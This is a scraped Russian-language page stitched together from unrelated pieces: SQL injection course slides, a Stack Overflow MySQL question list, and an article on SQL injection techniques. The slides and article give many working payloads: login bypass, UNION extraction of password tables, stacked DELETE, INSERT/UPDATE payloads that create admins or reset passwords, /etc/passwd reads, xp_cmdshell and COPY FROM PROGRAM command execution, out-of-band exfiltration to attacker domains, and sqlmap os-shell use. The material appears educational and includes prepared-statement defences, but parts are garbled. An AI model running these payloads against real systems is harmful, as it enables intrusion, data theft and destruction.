Как ускорить boolean sql injection
# 4-5 SQL Injection — Вопросы по заданиям? — ## Темы занятия 1. Часть * Краткий обзор SQL * Описание уязвимости SQL injection * Вектора эксплуатации: bypass, union-based * Обзор имеющихся информационных ресурсов по уязвимости SQL injection 2. Часть * Вектора эксплуатации уязвимости SQL injection: error-based, boolean-blind, time-based. * Использование sqlmap для автоматической эксплуатации уязвимостей SQL injection * Инъекции в UPDATE и INSERT * Рекомендации для разработчиков для исключения уязвимости SQL injection — ## 5 минут Burp Suite Intruder ### Техника: Поиск фильтруемых символов — Intruder — URL кодирование — Payload Type: Brute Forcer —   — ## 5 минут Burp Suite ### Техника: Поиск фильтруемых символов Мы отправили все 256 символов, можно посмотреть как веб-приложение на них реагирует, понять какие фильтруются, а какие нет. — ## Еще раз о параметрах «`php $_GET[‘test’] — только из query $_POST[‘test’] — только из body $_REQUEST[‘test’] — и то и другое «` — ## SQL SQL — Structured Query Language Позволяет делать запросы к реляционным базам данным. Существует множество систем управления базами данных, в каждой из них используется свой диалект SQL: — MySQL — SQLite — Oracle — MSSql — PostgreSQL — ## SQL Данные в реляционных БД храняться в таблицах | Id | Name | Password | | ——— | ——— | ——— | | 1 | admin | 123123 | | 2 | user | jf#8EfjsiLEiws- | | | 3 | guest | | | — ## SQL «`sql= SELECT name,password FROM users WHERE OR substr(name,1,1)=’g’ ORDER BY id LIMIT 2 «` | Name | Password | | —— | ————— | | admin | 123123 | | guest | | — ## SQL — подзапросы «`sql= SELECT name,password FROM users where id from admin_users where name=’admin’) «` В данном случае подзапрос должен возвращать одну строку, иначе будет ошибка. — ## Run SQL online https://www.jdoodle.com/execute-sql-online — SQLite http://sqlfiddle.com — все 5 http://rextester.com/l/sql_server — MSSQL, PostgreSQL, MySQL, Oracle https://sqliteonline.com/ — PostgreSQL, SQLite, MariaDB (MySQL), MSSQL — ## SQL https://www.w3schools.com/sql/default.asp — tutorial http://sql-ex.ru/ — сайт с упражнениями для SQL — ## SQL injection — ## OWASP A03:2021-Injection Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации. — ## SQL Injection Уязвимость, при которой контролируемые атакующим данные внедряются в формируемый SQL-запрос. В результате внедрения атакующий может нарушить логику работы запроса и/или заставить СУБД выполнить полезные для атакующего действия. — ## SQL Injection «`php $query = «SELECT username, email, phone FROM users WHERE username = ‘» . $_REQUEST[‘username’] . «‘»; $result = mysql_query($conn, $query); «` — ## SQL Injection «`php $query = «SELECT username, email, phone FROM users WHERE username ='» . $_REQUEST[‘username’] . «‘»; $result = mysql_query($conn, $query); «` `http://vuln.example.com/?username=John33’ or ‘1’=’1` — ## SQL Injection «`php $query = «SELECT username, email, phone FROM users WHERE username ='» . $_REQUEST[‘username’] . «‘»; $result = mysql_query($conn, $query); «` `http://vuln.example.com/?username=John33’ or ‘1’=’1` «`php= echo $query; SELECT username, email, phone FROM users WHERE username=’John33′ or ‘1’=’1′ «` — ## SQL Injection Пример: bWAPP — SQL Injection (Login Form/Hero). — ## Упражнение Root me: SQL injection — Authentication — ## SQL Injection Possible impact: * Чтение информации из доступных баз данных * Получение информации о сервере, текущем пользователе, настройках * Получение информации из файловой системы * Возможность модификации информации в базе данных * Возможность записи в файлы * Возможность выполнения произвольного кода — ## SQL Injection — cheatsheets Pentest Monkey: http://pentestmonkey.net/category/cheat-sheet/sql-injection Payloads all the things: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/ — ## SQL Injection ### Техники атак — ## Техники SQL Injection * Bypassing * Stacked queries * Union-based * Error-based * Out of band * Boolean blind * Time-based (double blind) — ## Bypass Bypass инъекции, это когда модифицируется запрос с целью обойти какое-то логическое ограничение «`php $sql = «SELECT username FROM users WHERE username='».POST[‘login’].» AND password='».md5(POST[‘password’]).»‘»; «` login=admin’ or ‘1’=’1&password=kekpekpohek login=admin’ — &password=kekpekpohek — ## Stacked queries `productid=1; DELETE FROM products` «`sql= SELECT * FROM products WHERE productid=1; DELETE FROM products «` Позволяет делать любые запросы к БД (INSERT в пользователей с правами admin, UPDATE своего счета до миллиарда и т.д.) В том числе вызывать хранимые процедуры, системные функции и т.д.  — ## Stacked queries `productid=1; DELETE FROM products` «`sql= SELECT * FROM products WHERE productid=1; DELETE FROM products «` Еще раз — очень опасная вещь. Если вы нашли SQL-injection обязательно проверьте, можно ли поставить `;` и выполнить второй запрос. — ## Union based UNION — оператор SQL, позволяющий объединить результаты двух запросов «`SQL SELECT name,password from users UNION SELECT name,password from system_users «` — ## Union based UNION — оператор SQL, позволяющий объединить результаты двух запросов «`SQL SELECT name,password from users UNION SELECT name,password from system_users SELECT name,password from users UNION SELECT ‘123’,’234′ «` — ## Union based UNION — оператор SQL, позволяющий объединить результаты двух запросов «`SQL SELECT name,password from users UNION SELECT name,password from system_users SELECT name,password from users UNION SELECT ‘123’,’234′ SELECT name,password from users UNION SELECT title,body from posts «` — ## Union based Если результат SQL-запроса выводится в HTTP-ответ, то можно проводить Union-based SQL-инъекции. Идея в том, чтобы добавить в запрос еще один запрос и вывести ответ на экран. «`php $sql = «SELECT first_name, second_name, city FROM users WHERE UNION ALL SELECT login,password,’1′ FROM users«` — ## Union based Определение количества столбцов в запросе -ORDER BY (GROUP BY). ORDER BY может принимать на вход номер колонки, по которой надо сортировать ответ. Если передать номер, больший чем колонок — возникнет ошибка. * ?id=2 ORDER BY 4 * ?id=2 GROUP BY 4 Поэтому просто перебираем целые по возрастанию, пока не возникнет ошибка. Максимальное число на котором нет ошибки — количество столбцов. <Пример в онлайн SQL>— ## Union based /users.php?id=1 UNION ALL SELECT login,password,’1’ FROM admins Что надо учитывать: 1) Лучше добавлять ALL — если его не добавить, то SQL удалит дубли, и мы можем долго думать куда пропала часть данных 2) Если страница выводит только определенное количество ответов (например, один), нужно в изначальном запросе использовать такие данные чтобы ничего не вернулось `name=fefefe’ and 1=0 UNION SELECT . ` — ## Union based SQL Injection (GET/Search) SQL Injection (GET/Select) — ## SQLite Информацию о схеме в SQLite можно получить: `SELECT sql from sqlite_master` — ## Упражнения SQL injection — String SQL injection — Numeric — ## Отступление #### О поиске инъекций и сборе информации из базы — ## В каких запросах могут быть инъекции В любых! * SELECT — самый распространенный * INSERT * UPDATE * DELETE Обычно из семантики запроса можно понять что за запрос делается. — ## Место инъекции  — ## Место инъекции  В большинстве случаев — ## Место инъекции  Иногда в этих — ## Нужна ли кавычка Два типа: «`sql SELECT * FROM users where password = » SELECT * FROM users where способ используется для числовых значений. Если в процессе анализа видим, что нормальное значение поля — число, то проверять надо оба варианта — ## Как проверить что есть инъекция Для числовых полей: Мы знаем что сервис по разному отвечает на `?id=10` и `?id=11`. Тогда делаем `?id=11-1` и смотрим что получится. — ## Как проверить что есть инъекция Для «кавычковых» полей: Сделать запрос, который не нарушает логику работы. Рекомендуется: `id` = `5555′ AND ‘1’=’1` Если ответ тот же что и на странице при этом ответ на — не такой, то инъекция вероятно есть — ## Как проверить что есть инъекция Мы также можем использовать payload, которые приводят к задержке или DNS-запросу. https://github.com/sorokinpf/cth_wordlists/tree/master/SQL%20injection — ## Комментарии в SQL Зависят от диалекта — — комментирует оставшуюся часть строки. Может не работать в случае многострочных запросов «`sql SELECT * from USERS WHERE username=» AND password=» «` `login`=`admin’ — ` — в данном случае не сработает, т.к. последняя строка все еще будет работать. — ## Комментарии в SQL В некоторых диалектах есть многострочный комменарий /* — ## Что нас интересует в БД 1) Системная информация 2) Имена таблиц 3) Имена колонок 4) Данные 5) Доступ к локальным файлам 6) Выполнение команд ОС — ## Системная информация * Версия * Имя пользователя * Имя хоста <Пример>— ## Таблицы и колонки См. cheatsheet Например для MySQL: «`SELECT table_name from information_schema.tables«` «`SELECT column_name from information_schema.columns where table_name=’table’«` — ## Определение СУБД  — ## Вернемся к техникам атак — ## Error based Возникает когда веб-приложение отображает ошибку SQL. | СУБД | Вектор | | —— | —————————————————————————————————————————————- | | MySQL | select 1,2 union select count(*),concat((select content from docs limit 1),floor(rand(0)*2))x from information_schema.tables group by x; | | MySQL2 | SELECT EXTRACTVALUE(1,CONCAT(0x30,0x327a6b70,@@version)) | | MSSQL | SELECT CAST((select name from PurchaseOrderDetail) as int); | — «` «` — ## Error based Возникает когда веб-приложение отображает ошибку SQL. | СУБД | Вектор | | ———- | ——————————————————————————— | | Oracle | (utl_inaddr.get_host_address((select user from DUAL))) | | PostrgeSQL | SELECT CAST((SELECT kind from films limit 1) as integer); | | DB2 | select TO_CHAR((select ‘fefwefwef’ from sysibm.sysdummy1)) from sysibm.sysdummy1 | — ## Error based Пример — ## Boolean blind ## (Boolean based) — ## Boolean blind Если напрямую не выводятся ни данные, ни ошибка, но мы можем понять является ли ответ на запрос TRUE или FALSE Первая задача найти два запроса, в одном из которых есть константное выражение TRUE, в другом FALSE, которые дают разный результат Например: `?id=12 AND 1=0` `?id=12 AND IF((SELECT 1)=1,TRUE,FALSE)` `?id=12 — IF((SELECT 1)=1,2,3)` — ## Boolean Blind Отправляя поочередно множество «вопросов» в БД можно получить произвольную информацию. — ## Boolean Blind <Пример>— ## Boolean Blind Для эксплуатации нам нужно уметь делать следующие 4 действия: * Определять количество строк в ответе * Выбирать конкретный объект из всей выборки * Определять количество символов в строке * Определять конкретный символ конкретной строки — ## Boolean Blind Условные операторы * `IF` — только в MySQL * `CASE . WHEN . THEN . ELSE . END` — в большинтве СУБД — ## Boolean Blind Условные операторы Часто можно его не использовать: `?id=12 AND (SELECT count(*) FROM information_schema.tables)>50` — ## Boolean Blind Выбираем конкретную строку из ответа: `limit 1,2` — MySQL,SQLite `limit 1 offset 0` — Postgres `OFFSET 3 ROWS FETCH NEXT 1 ROWS ONLY` — MSSQL и Oracle (новые версии) — ## Boolean Blind Получаем длину строки: * `len(name)` — mysql * `length(name)` — остальные — ## Boolean Blind Выбираем 1 символ: * `substr(name,1,1)` — MySQL, SQLite, Oracle * `substring(name,1,1)` — MSSQL, Postgres — ## Boolean Blind #### Бинарный поиск Позволяет определить значение 1 байта за 8 запросов  — ## Boolean Blind Приведение символа к числу: * `unicode(substr(name,1,1))` — SQLite * `ASCII(substr(name,1,1))` — всех остальных — ## Out of Band — ## Out of Band Идея — заставить БД сделать DNS/HTTP запрос, похищаемые данные подставить в поддомен/строку запроса. — ## Out of Band ### MSSQL «`sql select * from fn_trace_gettable(‘\\’+(select ‘abc’)+’domain.hacker.com\1.trc’,default) «` Также можно использовать `fn_xe_file_target_read_file`, `fn_get_audit_file` — ## Out of Band ### Oracle «`sql SELECT UTL_HTTP.REQUEST(concat(‘http://’,(select . ),’.attacker.domain.com’) «` — ## Time based ## (Double blind) — ## Time based Если веб-приложение не выводит никакой информации из выполненного запроса, то мы можем вызывать SQL функцию задержки при определенном условии. Измеряя время ответа веб-приложения можно получить 1 бит информации за 1 запрос. Сводится к Blind. Пример: `SELECT IF(1=1,SLEEP(10),1)` — ## Привелигированные атаки — ## Чтение файлов Требует привилегированного пользователя MySQL: `SELECT LOAD_FILE(‘/etc/passwd’)` см. cheatsheet. — ## Запись файлов MySQL: «`sql SELECT * from users INTO OUTFILE ‘/tmp/123.txt’ «` см. cheatsheet. — ## Выполнение команд MSSQL: «`sql EXEC sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; EXEC xp_cmdshell ‘whoami’; «` — ## Выполнение команд PostgreSQL: «`sql= CREATE TABLE commands_results ( id SERIAL PRIMARY KEY, output TEXT ); COPY commands_results (output) FROM PROGRAM ‘whoami’; «` — ## sqlmap — ## sqlmap Автоматический сканер SQL-инъекций и помощник в их эксплуатации https://github.com/sqlmapproject/sqlmap `apt-get install sqlmap` `brew install sqlmap` — ## sqlmap Есть две фазы работы: * Обнаружение * Эксплуатация — ## sqlmap — Обнаружение — базовый пример «`sqlmap -u «http://psorokin.ru:8000/sqli_1.php?title=a&action=search»«` — ## sqlmap — Обнаружение Передача запроса целиком: `sqlmap -r request.txt` request.txt можно взять прямо с BURP — ## sqlmap — Обнаружение Если мы хотим, чтобы sqlmap вставлял пэйлоады в определенное место, используем символ * Пример: `sqlmap -u «http://localhost/sqli_1.php?title=*&action=search»` Аналогично внутри файла, передаваемого в -r. — ## sqlmap — Обнаружение Если мы хотим, чтобы sqlmap искал только определенные техники эксплуатации —technique * B=boolean * E=error * U=union * S=staked * T=time-based — ## sqlmap — Обнаружение Часто бывает так что sqlmap не находит нормальную технику, но вы её уже нашли, она точно есть. Тогда можно попробовать следующее: * Добавить кавычки и прочую обвязку в запрос, так чтобы sqlmap вместо звездочки нужно было поставить очень простой запрос. * Наоборот убрать все, оставить в запросе одну только звездочку. — ## sqlmap — Обнаружение —level — чем выше, тем больше векторов проверяет sqlmap, увеличивает длительность, диапазон значений 1-5 —risk — чем выше, тем опасней вектора будет пробовать sqlmap. Может привести к удалению информации. Диапазон значений 1-3, лучше оставлять 1. — ## sqlmap — Эксплуатация Достаем данные. 1) листим базы данных `sqlmap . —dbs` 2) листим таблицы `sqlmap -D bWAPP —tables` 3) листим колонки `sqlmap -D bWAPP -T heroes —columns` 4) дампим таблицу `sqlmap -D bWAPP -T heroes —dump` — ## sqlmap — Эксплуатация sql shell позволяет выполнять запросы SQL. `sqlmap . —sql-shell` — ## sqlmap — Эксплуатация OS shell позволяет автоматически выполнить команды ОС `sqlmap . —os-shell` — ## sqlmap — Эксплуатация —threads — количество потоков Особенно важно при эксплуатации blind, т.к. сильно ускоряет процесс. — ## sqlmap — Кэширование `sqlmap` кэширует уже вытащенную информацию, чтобы не повторять запросы. Иногда нам надо сбросить кэш. В таком случае нужно удалить директорию . — ## sqlmap — упражнение root-me — ## sqli_blinder https://github.com/sorokinpf/sqli_blinder Позволяет эксплуатировать blind injections если sqlmap их не находит, или по другой причине не справляется. Нужно реализовать 1 функцию на Python. — ## Обходы фильтров — ## Не хватает символа в строке Нужен символ ‘a’ в строке. Решение: Используем функцию chr `chr(96)||’bc’` — # Не хватает одинарной кавычки MySQL: `SELECT * FROM users where login=0x313233` Postgres: `select * from demo where hint=$$300$$` — ## INSERT SQL Injections — ## INSERT SQL Injections Позволяет добавлять дополнительные записи в целевую таблицу с произвольным содержимым. — ## INSERT SQL Injections `#users -> (id,is_admin,name,password)` «`php= $sql = «INSERT INTO users VALUES (0,0,’$username’,’md5($password)’ )» «` `?name=’,’fefef’),(0,1,’new_admin&password=123123` Добавит нового пользователя с правами admin’a — ## INSERT SQL Injections `#posts -> (id,title,body)` «`php= $sql = «INSERT INTO posts VALUES (0,’$title’,’$body’)»» «` `?body=’),(1,(SELECT @@version),’other` Добавит результат subquery в запись. Потом этот результат может быть считан. — ## INSERT SQL Injections `#users -> (id UNIQUE,is_admin,name UNIQUE,password)` «`php= $sql = «INSERT INTO users VALUES (0,0,’$username’,’md5($password)’ )» «` `?name=admin’,’fefef’) ON CONFLICT (name) DO UPDATE SET password=’new_pass’ — ` Изменит пароль администратору Еще есть `ON DUPLICATE KEY`. — ## UPDATE SQL Injections — ## UPDATE SQL Injections UPDATE users SET email=’ ‘ WHERE style=»color:green»> ‘ — ## UPDATE SQL Injections «`sql UPDATE users SET email=» WHERE можно изменять другие поля как этой так и других записей: 1) `email=’,is_admin=’1` «`sql UPDATE users SET email=»,is_admin=’1′ WHERE `email=’,password=’123′ where username=’admin’ — ` «`sql UPDATE users SET email=»,password=’123′ where username=’admin’ — ‘ WHERE UPDATE SQL Injections «`sql UPDATE users SET email=» WHERE можно получить данные: 3) `email=’,about=(SELECT @@version) where username=’my_user’ —« «`sql UPDATE users SET email=»,about=(SELECT @@version) where username=’my_user’ — ‘ WHERE UPDATE SQL Injections «`sql UPDATE users SET email=’xxx@yyy.ru’ WHERE Тут можно изменить указанные в запросе поля другому пользователю `email=our@mail.ru&id=testfefefefe’ or username=’admin` — ## UPDATE SQL Injections «`sql UPDATE users SET email=’xxx@yyy.ru’ WHERE можно провести блайнд атаку на получение данных `email=xxx@zzz.ru&id=1′ and (select count(*) from users)>10 — ` Если почта изменилась, значит пользователей больше 10. — ## Защита от SQL injection — ## Защита от SQL injection — Валидация — Безопасное обращение к SQL — ## Защита от SQL injection * Санитизация (экранирование опасных символов) — НЕ РЕКОМЕНДУЕТСЯ * Prepared statements * ORM — ## Защита от SQL injection Санитизация «`php= «` — ## Защита от SQL injection Prepared Statements «`php= $stmt = $dbh->prepare(«SELECT * FROM REGISTRY where name = ?»); if ($stmt->execute(array($_GET[‘name’]))) < while ($row = $stmt->fetch()) < print_r($row); >> «` — ## Защита от SQL injection ORM «`php= Model\User::where(‘active’, 1) ->where(‘username’, $_GET[‘username’]) ->orberBy(‘username’) ->get(); «` — ## ORM injections ORM зачастую безсильны при передаче пользовательского ввода в качестве: — имен таблиц — имен колонок — order by/group by — etc. Создавайте для таких случаев белые списки. — ## ORM injections [RubyOnRails injections](https://rails-sqli.org/) [Doctrine injections](https://www.doctrine-project.org/projects/doctrine-orm/en/latest/reference/security.html#user-input-and-doctrine-orm) [Эксплуатация инъекций в Hibernate ORM](https://habr.com/ru/company/parallels/blog/272589/) [Eloquent Raw methods](https://www.stackhawk.com/blog/sql-injection-prevention-laravel/) [Terrasoft](https://medium.com/@sorokinpf/bpmonline-sql-injection-607916447e30) — ## Защита от SQL injection — Выберите единообразный подход к защите от SQL injection в своем проекте и придерживайтесь его во всем коде — Изучите особенности выбранного решения — убедитесь что stacked queries не работают. — поищите статьи об инъекциях в ваш ORM. — проверьте возможность инъекции в order by/group by/etc. — ‘ or ‘1’=’1′ — ‘ or 1=1 limit 2,1 — ‘ or — ‘ or login!=’Neo’ and 1=1 — ‘ or 1=1 limit 1,2 — или admin’/* ‘ order by 8 — ‘ union select 1,table_name,3,4,5,6,7 FROM information_schema.tables — ‘ union select 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_name=’heroes’ — ‘ union select 1,id,login,password,secret,6,7 FROM heroes —Пример>
Last changed by
Add a comment
Published on HackMD
Sign in
By clicking below, you agree to our terms of service.
Вопросы с меткой [mysql]
Популярная реляционная СУБД, полностью поддерживающая стандартный SQL. Используйте метку только для вопросов, специфических для MySQL, иначе используйте [sql]. Обязательно указывайте версию.
16,315 вопросов
Конкурсные
Неотвеченные
- Конкурсные 0
- Неотвеченные
- Цитируемые
- Рейтинг
- Неотвеченные (мои метки)
70 голосов
2k показов
Как устроить ловушку для хакера, или достойно отбивать атаки?
Ребята выручайте. Меня взломали и в наглую соединились со мной, требуя денег. Я новичок в этом деле и думаю, что пока научусь, то офис скорее снимет меня с работы. Недавно сайт стал зависать, похоже .
user216109
задан 9 мая 2017 в 18:22
32k показов
mysql_fetch_array() expects parameter 1 to be resource (or mysqli_result), boolean given
Я пытаюсь получить данные из таблицы MySQL, но вылезает одна из этих ошибок: mysql_fetch_array() expects parameter 1 to be resource, boolean given или mysqli_fetch_array() expects parameter 1 .
задан 12 мая 2015 в 18:20
2k показов
Как правильно построить работу с БД, хранящей огромные данные генома человека?
Таблица генов человеческого генома невелика, всего 60434 записей: CREATE TABLE `genes-g38-201505` ( `chr` varchar(2) NOT NULL, `left` bigint(20) NOT NULL, `right` int(11) NOT NULL, `.
задан 1 фев 2018 в 14:33
20k показов
Грамотная защита от SQL-Injection
Уже давно меня мучает вопрос: Как защитить свой сайт от SQL-Injection. В былые времена я использовал mysql_real string_escape для экранирования кавычек. Но прошло некое время, и я узнал про PDO, .
задан 22 янв 2015 в 18:57
19 голосов
51k показов
Как работает GROUP BY в MySQL?
Привет. Вопрос по sql по клаузуле GROUP BY. Рассмотрим группировку по ОДНОМУ столбцу. Пример: SELECT DEPARTMENT_ID, SUM(SALARY) FROM Employees GROUP BY DEPARTMENT_ID; То есть, в столбце .
задан 5 дек 2016 в 9:35
19 голосов
7k показов
Случайная выборка записей mysql
Как можно организовать случайный выбор записей из таблицы, посредством одного запроса? P.S.: Имеется таблица статей, а также сводная таблица (статьи на тему), со ссылкой на первую таблицу. Нужно .
задан 22 июл 2011 в 19:13
19 голосов
61k показов
Как узнать пароль root пользователя для базы данных MySQL в Ubuntu?
Мне достался один VPS сервер, в наследство, так скажем. Бывший владелец не выходит на связь. Как мне узнать пароль root пользователя для базы данных MySQL? Где он храниться в файловой системе Ubuntu .
задан 2 июн 2015 в 20:33
18 голосов
121k показов
Запрос SQL на удаление дубликатов из таблицы по одному полю
Есть таблица с дубликатами в MySQL: (по полю name) id | name | surname ——————— 1 | niko | surname 2 | niko | surname 3 | jane | surname 4 | jane | surname 5 | ivan | surname .
задан 15 фев 2013 в 16:34
18 голосов
6k показов
Как быстро заполнить таблицу 1 000 000 ТЕСТОВЫХ записей?
Пусть имеется таблица tests с единственным столбцом title CREATE TABLE tests ( title varchar(256) NOT NULL ); Как можно заполнить ее 1 000 000 тестовых записей?
задан 3 июл 2016 в 17:54
18 голосов
1k показов
Каким образом избежать SQL-инъекций в PHP?
Если обработка ввода пользователя происходит без преобразования в SQL-запрос, может произойти внедрение SQL-кода в код приложения, например, как в следующем примере: $unsafe_variable = $_POST[‘.
задан 11 апр 2016 в 9:16
16 голосов
2k показов
Запрос на соединение двух таблиц в MySQL
Помогите, пожалуйста, просто составить запрос-образец. Есть первая таблица, в которой есть столбцы спортсмен и серийный_номер_велосипеда. Вторая таблица: серийный_номер_велосипеда, цвет, год_выпуска. .
задан 12 сен 2016 в 21:24
15 голосов
2k показов
Найти в тексте слова, которые есть в базе данных
Здравствуйте. В базе данных есть таблица slovo, ее структура: id — auto_increment name — само слово( уникальный ) Есть переменная: $text, которая содержит в себе некий текст. В таблице slovo есть .
задан 28 дек 2016 в 21:29
14 голосов
32k показов
Что такое индекс mysql и как их использовать
Можете привести понятный пример индекса в таблицах? В документациях столько всего написано, это вводит в заблуждение. Индекс — это и есть первичный или внешний ключ?
задан 18 янв 2017 в 18:43
14 голосов
43k показов
Как создать таблицу в базе данных? (PHP+MySQL)
Здравствуйте! Нашел в Интернете видео уроки по курсу Apache+PHP+MySQL, но там все действия происходят, как я понял, в Украине, хотя рассказывает на русском. Рассказали как и привели код по созданию .
задан 13 янв 2011 в 17:37
14 голосов
2k показов
MySQL: сортировка выборки в порядке, заданном в операторе IN
Как выбрать строки с помощью оператора IN именно в том порядке, в котором они переданы? Т.е. SELECT id, name FROM users WHERE id IN (2, 3, 1)
задан 3 сен 2016 в 6:25
15 30 50 на странице
-
Важное на Мете
Связанные метки
Подписаться на ленту
Лента вопросов с наивысшим рейтингом по меткам [mysql]
Для подписки на ленту скопируйте и вставьте эту ссылку в вашу программу для чтения RSS.
Дизайн сайта / логотип © 2023 Stack Exchange Inc; пользовательские материалы лицензированы в соответствии с CC BY-SA . rev 2023.11.15.1019
Нажимая «Принять все файлы cookie» вы соглашаетесь, что Stack Exchange может хранить файлы cookie на вашем устройстве и раскрывать информацию в соответствии с нашей Политикой в отношении файлов cookie.
SQL-инъекции’ union select null,null,null —
Современные веб-приложения имеют сейчас довольно сложную структуру. Вместе с этим, для хранения информации стали активно использоваться базы данных на основе языка SQL. При обращении к какой-либо странице, веб-приложение формирует специальный SQL-запрос, который запрашивает в базе данных соответствующую запись. Результат запроса возвращается в веб-приложение, которое, в свою очередь, отображает его на странице браузера для пользователя.
Использовать подобную схему взаимодействия удобно, но вместе с этим, возрастает риск появления SQL-инъекций. Суть их работы заключается во внедрении собственного кода в SQL-запрос к базе данных с целью получить дополнительную информацию от нее.
Пожалуй, наиболее часто встречаются SQLi в SELECT запросах, так как данный тип запросов является самым распространенным, но, все же не ограничивается только им.
- в строковом параметре;
- в числовом параметре.
Для числового параметра характерна обработка числовых данных, например, в параметре ID:
http://example.com/index.php?id=1
Если параметр не будет иметь фильтрацию, а код выглядит примерно так:
$id = $_GET['id']; $query = "SELECT * FROM some_table_name WHERE >то при эксплуатации SQL-инъекции веб-приложение направит некорректный запрос в базу данных, например:
SELECT * FROM some_table_name WHERE '
и в ответе от веб-приложения пользователь получит ошибку синтаксиса. Но если этого не произойдет, то здесь 2 варианта:
- SQL-инъекции здесь нет — фильтруются кавычки, или просто стоит преобразование в целочисленный тип int;
- отключен вывод ошибок.
В строковом параметре ситуация аналогичная, только вместо числового параметра будет строка:
http://example.com/index.php?user=admin’
Статья носит информационный характер. Не нарушайте законодательство.
Основные методы эксплуатации SQL-injection
Union Based SQL-injection — применяется, если SQL-injection возникает в SELECT запросе. Благодаря данному методу можно объединить два SELECT запроса в один набор результатов. Особенность этого метода заключается в том, что он будет работать только в том случае, если количество столбцов, возвращаемых первым запросом, будет равно количеству столбцов, возвращаемых во втором запросе.
Для определения количества столбцов можно воспользоваться 3 методами:
- добавление нового столбца при каждой итерации проверки, что не совсем удобно, так как столбцов может быть 20,30,50 и т.д.:
?id=1' union select null -- ?id=1' union select null,null -- ?id=1' union select null,null,null --
Почему используется значение NULL? Все просто, типы данных в каждом столбце должны быть совместимы между исходным и внедренным запросами. Поскольку NULL может быть преобразован во все часто используемые типы данных, его использование увеличивает вероятность успешного выполнения полезной нагрузки при правильном подсчете столбцов.
- использование команды order by для определение количества столбцов. В этом случае нужно опираться на появление ошибки о несоответствии количества столбцов в запросе. Стоит начать с большого количества столбцов и уменьшать их вдвое при каждой итерации проверки. Если количество столбцов не будет соответствовать фактическому значению, то вернется ошибка
?id=1' order by 20 -- ?id=1' order by 10 -- ?id=1' order by 5 --
- использование команды group by, который основывается на обратном методе проверки, в отличие от order by.
?id=1' group by 5 -- ?id=1' group by 10 -- ?id=1' group by 20 --
Boolean Based SQL-injection — метод эксплуатации слепых инъекций. Информация извлекается исходя из реакции на условные выражения. Инъекция называется слепой в тех случаях, если нет никакой видимой реакции от веб-приложения. Например, при подстановке кавычек в потенциально уязвимый параметр, ошибка, связанная с нарушением логики SQL-запроса, не появляется, а страница отображается без изменений. Но тут, как уже говорилось ранее, несколько вариантов: либо входные параметры фильтруются и уязвимости нет, либо на сервере отключен вывод ошибок на странице.
?id=1' AND substring(@@version,1,1)=5 --
Вместе с запросом указывается некоторое условие. Условие может быть как истинным, так и ложным. Если оба условия выполняются одновременно, то, запрос отработает корректно, в противном случае запрос не будет выполнен.
Error Based SQL-injection — данный метод позволяет получить информацию из базы данных в тексте ошибки.
Для поиска такого рода инъекций можно воспользоваться следующими примерами:
?id=0X01 ?id=9999999999999999999999999999999999999999999
В первом варианте 0X01 будет являться действительным числом, но в языке PHP, а не MySQL, что вызовет ошибку последнего. Во втором варианте число будет преобразовано в INF, что также будет являться действительным числом для PHP, но не для MySQL.
Time Based SQL-injection — используются команды СУБД (например, sleep) , вызывающие задержку ответа от базы данных. Метод также используется для эксплуатации слепых инъекций, когда отсутствует какой-либо вывод информации, в том числе в случаях, описанных в Boolean Based SQL-injection.
?id=1' and sleep(20) --
В этом примере добавляется задержка 20 секунд в виде команды sleep(20) для базы данных, которая создаст задержку перед ответом, что соответственно отразится и на времени ответа веб-приложения. Также для этих целей можно использовать и другие команды, например, benchmark или waitfor:
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')); id=1' waitfor delay '00:00:10' (MS-SQL); pg_sleep() (PostgreSQL).
Пример, где по длительному ответу от базы данных можно определить, что первый символ значения user_password для пользователя с будет равняться «2» т.к. char(50) является цифрой 2:
?id=1' UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;
Команда benchmark, в случае верного условия, выполнит функцию ENCODE 50000 раз, что вызовет задержку ответа, по которой и определяется наличие SQL-инъекции.
Как искать и эксплуатировать SQLi
1. Ручной поиск. Для начала во все параметры подставляем спецсимволы: кавычки, двойные кавычки и т.д. Если на каком-то варианте вернулась ошибка, то инъекция найдена и можно продолжать. Как правило, используется оператор union select, чтобы объединить сразу 2 запроса, а как мы уже знаем, этот метод требует соответствия в количестве столбцов. С помощью order by определяем количество столбцов. После этого можно формировать запрос для получения информации о самой базе данных. Допустим у нас столбцов будет 4, то команда будет выглядеть так:
?id=1' union select null,null,null,null --
В конце запроса обязательно ставится комментарий, например, в виде двойного дефиса. Это необходимо для того, чтобы лишняя информация не попала в передаваемый базе данных запрос, и не нарушала его структуру.
?id=1' union select version(),user(),@@port,null --
Отправив такой запрос, мы получим версию базы данных, имя пользователя базы данных, и порт, который использует БД (может быть полезно в случаях, когда его не удалось определить при сканировании веб-приложения).
?id=1' union select null,null,table_name,null from information_schema.tables --
Указав table_name и добавив from information_schema.tables мы получим список всех таблиц базы данных, включая системные. Это стало возможным благодаря добавлению таблицы information_schema в MySQL 5.0+ и по ее наличию также можно косвенно определить версию используемой БД. Получив список таблиц ищем среди них нужную и получаем из нее информацию. Например, у нас есть таблица users, где хранятся пользовательские данные — имя пользователя, хэш пароля и прочая информация.
?id=1' union select null,null,concat(user(),0x3a,password('user()'),null --
В результате запроса в одном поле будет выведена информация о пользователях БД (логин) и их пароли в виде хеша, используя функцию concat.
2. Автоматизация. Безусловно, навык ручного поиска и эксплуатации SQL-инъекций очень важен и порой незаменим в тестировании на проникновение, однако и время тоже является крайне ценным ресурсом. Для его экономии, особенно при поиске и эксплуатации слепых инъекций, разработаны вспомогательные инструменты.
Один из них довольно популярен и называется SQLmap. Рассказывать про него особо нечего, так как это, думаю, первая ассоциация при слове SQL-инъекция. Но если вкратце — мощный кроссплатформенный консольный инструмент для автоматизации поиска и эксплуатации SQL-инъекций любого вида и сложности, написанный на языке Python. В основной функционал которого входит:
- полная поддержка для таких систем управления базами данных, как: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB и HSQLDB;
